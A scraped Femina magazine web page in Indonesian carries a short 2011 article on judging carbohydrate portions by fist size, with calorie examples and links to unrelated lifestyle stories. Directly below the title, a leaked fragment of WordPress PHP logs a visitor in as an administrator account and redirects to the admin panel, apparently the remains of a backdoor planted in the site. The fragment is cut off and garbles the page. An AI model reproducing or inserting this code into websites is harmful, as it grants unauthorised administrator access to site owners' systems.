Mengukur Karbohidrat dengan Kepalan Tangan

user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */

Health & Diet

28 Jul 2011

Benarkah porsi tepat karbohidrat seukuran kepalan tangan?

Penggunaan kepalan tangan sebagai alat ukur karbohidrat seperti nasi merah, roti, dan kentang, sangat baik membantu memudahkan pengukuran. Karena, tidak semua orang mengerti pasti cara menghitung kalori. Lagi pula, rasanya aneh juga, ya, kalau harus menghitung kalori di food court.

Namun, ukuran kepalan tangan ini tidak bisa baku untuk semua orang. Sebab, setiap orang memiliki metabolisme yang berbeda. Walaupun berat badannya sama, jika persentase ototnya lebih banyak, maka akan membutuhkan kalori yang lebih banyak. Seseorang yang lebih aktif berolahraga juga membutuhkan kalori lebih banyak dari yang kurang aktif.

Untuk mengerti takaran yang tepat, setiap orang harus berusaha mengenali dirinya. Apakah porsi kepalan tangan itu cukup, kurang, atau malah berlebih. Sebagai gambaran, daftar ukuran kalori dari lembaga penelitian diet Penssylvania State University ini mungkin bisa membantu. Satu kepal nasi putih atau pasta adalah 200 kalori. Satu cangkir buah potong adalah 75 kalori. Ayam, daging, dan ikan seukuran telapak tangan (bagian tengah saja) adalah 160 kalori. Segenggam kacang adalah 170 kalori. (f)

Clean Cut Emporio Armani

Aksi Sosial SOPHIE

Terbesar! 320 Jenama Ikut Meramaikan Brightspot Market 2025

Future Archive jadi tema Brightspot Market 2025 yang digelar pada 29 Mei-1 Juni dan 5-8 Juni 2025.

Besok, Hidangan dari Buku Pusaka Rasa Nusantara Karya Chef Ragil Ada di Conrad Bali

Memperkenalkan buku istimewa, menunjukkan ke warga Bali akan kayanya Nusantara.

Disney On Ice: Find Your Hero Bakal Tampil di Jakarta dan Surabaya

Siapa yang sudah rindu karakter Disney yang meliuk-liuk di atas es? Siapkan dirimu untuk kehadiran Disney On Ice presents Find Your Hero.

recommended

Menikmati Tradisi yang Terus Bergerak di SU MA Volume 6, Passage

Chef Brendon Chen dan Chef Ryan Kim membawa SU MA ke babak berikutnya dan Femina diajak mencoba.

VW Tour, Movie Night, hingga Floating Dinner, Cara Menikmati Sisi Lain Kamandalu Ubud

Aktivitas seru yang membuatnya jadi destinasi menarik bersama para bestie!

5 Cara Lebih Mindful Menghadapi Situasi Saat Ini

Dunia lagi ramai, kamu nggak harus ikut panik.

Penting untuk Tim Rebahan, 3 Hal Wajib Dilakukan Saat Weekend Selain Beres-beres

Lalu, harus ngapain, dong?

Kosha Mangsho, Semakin Lama Dimasak Semakin Sedap!

Kuahnya cenderung kental, gelap, dan kaya rempah, berbeda dengan kari India Utara yang kuahnya lebih encer.

Produk Hairstyling Terbaru Ini Membantu Menjaga Kelembapan Alami Rambut

Segera hadir di Pekan Raya Jakarta 2026, tiga produk terbaru Panasonic Beauty yang lebih dari sekadar alat menata rambut.

about

Femina is a magazine for smart, independent, modern Indonesian women.

digital magazine

Available at :

(021) 250 333 28
langganan@pranagroup.id